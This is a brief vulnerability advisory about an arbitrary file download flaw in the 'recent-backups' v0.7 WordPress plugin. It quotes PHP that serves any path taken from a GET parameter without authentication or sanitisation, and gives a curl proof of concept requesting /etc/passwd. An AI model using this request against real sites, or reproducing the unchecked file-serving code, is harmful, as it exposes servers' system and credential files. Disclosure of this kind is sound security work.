Title:Arbitrary file download vulnerability in recent-backups v0.7 wordpress plugin
The code in  download-file.php doesn't verify the user is logged in or sanitize what files can be downloaded.  This vulnerability can be used
to download sensitive system files:

     2	$file = $_GET['file_link'];
     3	
     4	if (file_exists($file)) {
     5	    header('Content-Description: File Transfer');
     6	    header('Content-Type: application/octet-stream');
     7	    header('Content-Disposition: attachment; filename='.basename($file));
     8	    header('Content-Transfer-Encoding: binary');
     9	    header('Expires: 0');
    10	    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    11	    header('Pragma: public');
    12	    header('Content-Length: ' . filesize($file));
    13	    ob_clean();
    14	    flush();
    15	    readfile($file);$ curl -v "http://www.example.com/wp-content/plugins/recent-backups/download-file.php?file_link=/etc/passwd